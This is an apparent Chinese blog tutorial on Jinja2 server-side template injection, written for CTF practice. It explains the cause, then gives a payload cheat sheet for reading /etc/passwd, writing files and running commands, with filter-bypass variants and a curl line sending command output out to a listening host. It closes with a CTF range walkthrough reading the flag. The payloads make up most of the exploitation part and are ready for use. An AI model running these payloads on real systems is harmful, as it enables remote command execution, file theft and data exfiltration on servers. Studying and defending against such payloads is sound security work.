模板注入漏洞


SSTI(Server-Side TemplateInjection)服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下, 构造恶意输入数据,从而达到读取文件或者getshell的目的。此种类型漏洞虽然多次在CTF中,以Python语言为载体出现,但是这并不是Python模板引擎独有的漏洞。

值得注意的是:
凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言。

jinja2原理

以下内容,以Python的模板引擎Jinja2为例。

from flask import Flask,render_template,request
app = Flask(__name__)

@app.route('/')
def hello_world():
    name = request.args.get('name')
    return render_template('hello.html', name=name)
if __name__ == '__main__':
    app.run(host='127.0.0.1',port='8888')
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Hello from Flask</title>
    {% if name %}
        <h1>Hello {{name}}</h1>
    {% else %}
        <h1>Hello, World!</h1>
    {% endif %}
</head>
<body>

</body>
</html>

这里有两种分隔符: {% … %} 和 {{ … }} 。前者用于执行诸如 for 循环 或赋值的语句,后者把表达式的结果打印到模板上。
jinja2软件会帮助我们自动把{% for item in navigation %}等转化为html里等价的代码,最终形成可交给浏览器解析的html。

如上,正常使用模板,是不会有漏洞的。为什么呢?在这里插入图片描述
在这里插入图片描述he

后端通过name参数获取到的值是一个字符串,如上’abc’,‘2*2’.我们将该字符串作为参数,送给jinja2的模板渲染函数,该函数将会把字符串参数代替name。
{{‘abc’}}将为计算为abc字符串渲染到html上,{{‘2*2’}}将渲染为2*2字符串到html上。
当传入的参数不是字符串,而是一个表达式时,name替换后为{{2*2}},jiaja2将计算{{}}内的表达式并将结果渲染到html上

实际效果是

render_template('hello.html', name='abc')   # hello abc
render_template('hello.html', name='2*2')   # hello 2*2
render_template('hello.html', name=2*2)     # 传入的参数为表达式,结果为 hello 4   

所以,因为从客户端得到的数据一般不会是表达式(或许可以,但目前我不知道如何得到),而是字符串等,所以就不会有漏洞,使得我们可以传入表达式,利用表达式来做一些文章

CTF比赛中jinja2模板注入漏洞

上面提到jinja2本身模板渲染时不会有漏洞的,那么问题出在哪里呢?

问题出在,开发人员在构造一个模板的时候,进行了参数拼接。造成的后果是:模板本身内容可以通过传入的参数进行控制

在这里插入图片描述

通过name参数,我们传入不同的值,比如传入abc,{{name}},或者{{表达式}}
模板将发生不同变化:

hello abc
hello {{name}}
hello {{表达式}}

当jinja2渲染 hello {{表达式}},将执行该表达式,并把其值渲染到html上。这就造成了漏洞。

举例:

在这里插入图片描述

漏洞根本原因:模板本身内容可以被改变,但如果按正常jinja2的规定使用, 则模板本身是固定无法修改的,只有模板中的插槽地方的值可以改变,这样就不会有漏洞

感觉这种漏洞现实中不会太常见,大概只适合CTF比赛了吧。

漏洞利用方法

常见的一种payload

{%for c in [].__class__.__base__.__subclasses__()%}
    {% if c.__name__=='catch_warnings' %}
        {{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
    {%endif%}
{%endfor%}

为什么这样构造payload?
总体思路是:利用python类的内置属性和方法,找到object类,最终找到可以执行系统命令的方法,并使用该方法。

先来看看常见的类的内置属性和方法。

__class__
__class__是类的一个内置属性

>>> [].__class__
<class 'list'>

__base__
base__返回类的直接基类。在其他payload也有__basesmro,执行一下,可以看出其中的不同,但我们构造payload的目的是拿到<class ‘object’>

__subclasses__
每个类会保存由对其直接子类的弱引用组成的列表。 此方法将返回一个由仍然存在的所有此类引用组成的列表。通俗的讲,就是返回该类的子类列表。
所以,当我们拿到<class ‘object’>时,便可以获得object类的子类列表

>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>,...]

但是 payload为什么从object子类中找到catch_warnings类呢?

在这里插入图片描述

常用payload

知道构造原理之后,要有一些常见的payload,使用时根据实际加以改造。

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
 过滤[
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
 过滤引号

#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

 过滤下划线

{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

 过滤花括号
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

利用实例:
要改造成jinja2模板语法

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}         //popen的参数就是要执行的命令
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

实际案例

HITWH靶场的一道python的template注入题。
通过response header看出后端是python而不是php
在这里插入图片描述
在这里插入图片描述

payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述
可以看出根目录下存在名为flag的文件。

利用下面payload读取flag文件

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值